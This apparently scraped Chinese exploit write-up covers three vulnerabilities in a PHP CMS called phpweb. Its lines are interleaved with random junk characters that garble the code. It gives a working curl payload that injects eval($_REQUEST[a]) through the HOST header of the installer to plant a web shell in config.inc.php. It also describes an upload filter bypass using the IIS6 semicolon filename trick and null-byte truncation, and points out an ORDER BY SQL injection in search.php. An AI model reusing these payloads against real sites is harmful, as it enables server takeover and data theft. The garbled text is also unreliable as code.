注入:9 m: t9 G) D# n9 h
9 L1 s) ?' E0 C1 r& K) ?
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
& g4 E# p/ B; ~; H6 e) P
3 o& g; X W' O% S6 p1 _2 M鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
& k2 R8 F6 B2 I9 O" G鸡肋2: 有一定安全常识的站长都会删掉 install 目录' r( m' N# g" n o$ W. ]
' ^1 j9 H# e% A% w+ M% j
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
, \: t% Y4 d: k 7 A- X; s+ @: R7 |. ]+ s3 S( P
分析:
" ?# x/ f6 w) W4 Y
$ S' }' W: I: T& ]% D
- k+ n, p8 I" {! q* p$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤 e( p/ | @% v) T s* q
' x8 Y3 v: J3 a) e8 _5 Q $filestr = fread(fopen($SysConfigFile, 'r'),30000);5 D) o, c& t0 J0 A2 j
$filestr=str_replace(" ","",$filestr);7 F" H( `6 Y# n- U* o$ G' ~. @. ~
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
0 l; e, }# n0 H* @( E1 ~ $filestr=str_replace("DefaultDbName",$dbname,$filestr);! k# k/ m) ?5 J' Q) S0 ^
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
* p9 Q& c0 P+ z( | $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
* u6 M0 ~' n7 E4 b& F $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
# R: x0 ?& |6 s" _ $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
1 Y/ Z$ F5 Z& \' H+ ~6 P8 o" v $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
( n( r' {/ m& n) J9 A) t ; Y# R3 V- f. c* @( ]- F |: \, F% L
fwrite(fopen($ConFile,"w"),$filestr,30000);
: t) w) l! V8 N* s- f5 M$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^# a/ O+ p$ L4 |2 W
+ c: O9 |5 P2 l V) c
poc:
2 g8 M9 M9 L* g( i7 B
" G# u; i2 x& `# r7 Y7 d?8 f/ L9 W+ l5 A7 G7 z l
1
0 b- z/ t% _7 L2 Pcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#". ]* W- F4 ^3 w" N+ |
shell地址: /config.inc.php: O9 H; ^$ |1 c2 f' g" U
跟之前的 phpcms一样 需要远程数据库( M$ J3 @6 a& `; a. N
1 m' z' z1 h# J2 N4 ?8 U4 C- P! r, g
——————————————————–
9 |+ C/ ^9 U( C' a# e上传漏洞(需要进后台):
$ K8 Z3 i+ A) R漏洞文件: /kedit/upload_cgi/upload.php1 z9 n6 n5 L# C9 X% w4 t8 N0 W9 T
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用2 C* x% X# c& ?7 r7 u. J e: x
% D9 x9 `$ C3 V/ R' k6 H6 l 9 ]' S }( P, Y; z( u. [+ M1 r: _
<?php
# f: U& n5 x$ L define("ROOTPATH", "../../");* X) c: ~2 p" c: ?+ _+ N6 a7 z5 R
include(ROOTPATH."includes/admin.inc.php");
! B' n" M$ A% C6 e1 Y NeedAuth(0);8 k: E" a* K7 j# h+ J2 [$ b" e4 V$ v
- T, g6 P4 x1 ~3 j! ~* t $dt=date("Ymd",time());- L9 C A+ A( g+ O4 r% v) V; g2 K
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
5 _4 L3 [6 ^' ] w# @ @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
, f- B$ e6 d5 f' c }
& e! Y: R6 f4 K" v" u# t2 ^: R4 i9 N5 y
4 U& u- C: I- S3 m //文件保存目录路径
3 D0 p# W' R7 h2 x, J9 \$ K $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
$ \7 ~! B% ^, d! e echo $save_path;; V. [/ _& v" Q
//文件保存目录URL3 i+ U( `3 j7 T4 a3 b
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
, I: B/ e5 M) ]; H( \; S( S
* o# z$ T1 G. E1 v2 Y //定义允许上传的文件扩展名: g) u5 Q H' c2 _7 i
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
3 u: @5 P& s% f) }# D- s3 [ ' y6 {. B4 {4 t) ~
//最大文件大小
0 [8 P2 Y* P" l" h5 @% z/ i9 V $max_size = 1000000;
" T( \% z7 h- w5 E0 t* X / ]" M5 T; ]% ? ?
//更改目录权限
: e! d7 @* X" ^! q i4 k @mkdir($save_path, 0777);/ [ C' e' s' X3 a: y' L) W1 R8 U# Q
' U' o* |3 S' l; [( x
//文件的全部路径
, Q& j6 X" E% X, P3 b $file_path = $save_path.$_POST['fileName']; //保存文件名- q8 R1 d' T: s# k5 o& v6 |
& M) i/ d5 g; Y0 |3 f( N //文件URL
3 f0 |: R/ K9 @ $file_url = $save_url.$_POST['fileName'];
& K: y$ z5 ]1 {) I//有上传文件时& @, o6 ~& K# G2 ?/ H
if (empty($_FILES) === false) {' \/ o8 S8 @% z/ A: Z1 x& K S7 m7 q
- x7 N1 _+ y7 r9 W% u ?1 C1 L //原文件名
% o2 y! a" ]& j4 F# F3 D+ r $file_name = $_FILES['fileData']['name'];$ k# ~0 O; _5 W A* }% n; D2 j! ~
//服务器上临时文件名" T5 x }) t/ q% l/ i7 T4 v
$tmp_name = $_FILES['fileData']['tmp_name'];5 x3 b. h! i5 k8 V7 _; N" x
//文件大小+ G J) [- @/ X" o
$file_size = $_FILES['fileData']['size'];
" G. B% R7 \, H: D* g //检查目录
" v7 i9 Q: Q' y# w if (@is_dir($save_path) === false) {
3 e4 J) O& V5 \! N+ k alert("上传目录不存在。");7 d6 G; L5 s8 ?, ?& s2 u
}) E2 B+ x% T. A$ a7 c$ s$ j0 [
//检查目录写权限' O* w+ D) Q- i% @# B8 l) I7 {
if (@is_writable($save_path) === false) {
6 ?, M5 E+ n- I! \5 ` alert("上传目录没有写权限。");" F& Q+ o O3 P* c
}. b( N. m. Q+ o0 K/ a
//检查是否已上传& T+ f( G- s4 s
if (@is_uploaded_file($tmp_name) === false) {: y3 O1 F2 X0 q* V- r$ o+ Y v
alert("临时文件可能不是上传文件。"); v2 I" H9 x+ u, H$ h, U8 J
}0 r. W+ i# g$ ^ {- V( H" k/ Z
//检查文件大小
9 P* s9 j& `! W: P$ z$ s* V if ($file_size > $max_size) {
: x" R5 h5 h' | c% L7 N- v! i" q alert("上传文件大小超过限制。");5 R1 q N$ @6 ]2 v w& d
}
7 d- D2 b" s3 G) A //获得文件扩展名 J) w7 Y3 B. t, n
$temp_arr = explode(".", $_POST['fileName']);- r8 ~3 E! [+ x. R
$file_ext = array_pop($temp_arr);
# A$ @* s3 s& d d4 z# q6 H: T $file_ext = trim($file_ext);
) j( k) _) p* u6 }$ s7 B $file_ext = strtolower($file_ext);
0 n# q% e& j0 F T2 f1 `8 _ . C7 o4 P+ Y9 B0 h* G4 n1 i
//检查扩展名
' j3 I' u, e* a1 R/ m if (in_array($file_ext, $ext_arr) === false) { " i* G4 N- c! Y6 f, u
alert("上传文件扩展名是不允许的扩展名。");6 I& p4 w$ P4 Y& H0 q/ u
}# V1 V# t6 a' A w$ p
: x& i/ R$ `( v& t2 N, C
//移动文件 S+ Z- F8 u# _8 f4 G$ P
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^9 c: y9 w- f' h
if (move_uploaded_file($tmp_name, $file_path) === false) {- q; `* d0 Q5 ?+ n
alert("上传文件失败。");6 A. _9 ~8 j2 h5 y$ x
}& ]0 `6 I5 {: U: h& ]/ s4 d3 f
* \6 O! W8 o- Q' h9 L @chmod($file_path,0666);
* h! w' D! w0 f* J* p U4 w9 V " ~% y: ]3 z) M, q* @
?>
+ c0 X+ c4 C$ P( n抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2274 }5 P/ N% i' I
) V+ I$ m1 h. z$ ]( Mapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
; H) _- Z, f% [
7 l4 X% ^' E5 e* k( J——————————————————
/ M+ ?4 _4 D3 x注入漏洞:
' p8 p! T9 S8 ?0 A; x7 a. N5 o& v漏洞文件:search/module/search.php4 |, p5 f. N4 r# ]8 v
/search/index.php?key=1&myord=1 [sqlinjection]
8 M+ |5 x5 F3 G4 l3 N7 |( |7 v! N
`* m6 r0 V1 R% l" N+ i5 ]. @
) V) M- r5 v* |: ^9 i' j<?php! L9 V! L) t. ~4 E
// ... 省略 n 行...! R# v6 f1 c0 ?: e) }
//第18行:
% \5 P! D/ h" `8 l $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
' z4 X, _ E+ j5 f $page=htmlspecialchars($_GET["page"]);+ r7 z$ D2 [6 b6 R( b8 Z; c
$myord=htmlspecialchars($_GET["myord"]);! `3 G" Y' o$ `' d
6 M2 c" U3 E! N5 B // ... 省略 n 行... R9 q/ T% u& _ v: b' {% V" L: c8 c
$key,$myord 两个参数带入查询$ @; ^* Z. w/ o" V: j" i8 U
//第47行 $key:
1 P. e R/ Z0 l) U) f# r" a
5 \, f) |$ C% N7 X6 I. M& W $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..4 v2 S( t2 {1 p! |
7 [2 y6 {$ m! b: N //第197行 $myord
s; T9 {+ N. C! Z7 b. \ $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入, V5 Z$ ~; t, \5 n% a
* x$ t, I) f1 Y
?>6 s) Q& v" D ^! |& y: b2 t, w
|